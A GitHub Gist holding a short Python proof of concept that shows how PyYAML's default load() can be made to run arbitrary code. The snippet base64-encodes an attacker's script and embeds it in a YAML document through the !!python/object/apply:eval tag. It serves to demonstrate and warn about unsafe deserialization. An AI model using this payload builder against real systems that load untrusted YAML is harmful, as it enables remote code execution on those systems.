The Python YAML library's default load()
function will happily attempt to create arbitrary python objects. If you load an attacker-supplied yaml, bad things happen. The enclosed code snippet is an example of how to make bad things happen, since there still seem to be some non-believers.
Last active
November 11, 2022 03:16
-
-
Save PaulMcMillan/c4d560471dd529fdf9f3 to your computer and use it in GitHub Desktop.
yaml exploit encoder
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Isn't this the worst thing you've ever seen? | |
exploit = open('exploit.py').read() | |
encoded_exploit = ("eval(compile('%s'.decode('base64'),'<string>','exec'))" | |
% exploit.encode('base64').replace('\n', '')) | |
yaml_object = ('\nexploit_helper: !!python/object/apply:eval ["%s",]\n' | |
% encoded_exploit) | |
# then the target does | |
import yaml | |
yaml.load(yaml_object) | |
# and your code runs... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment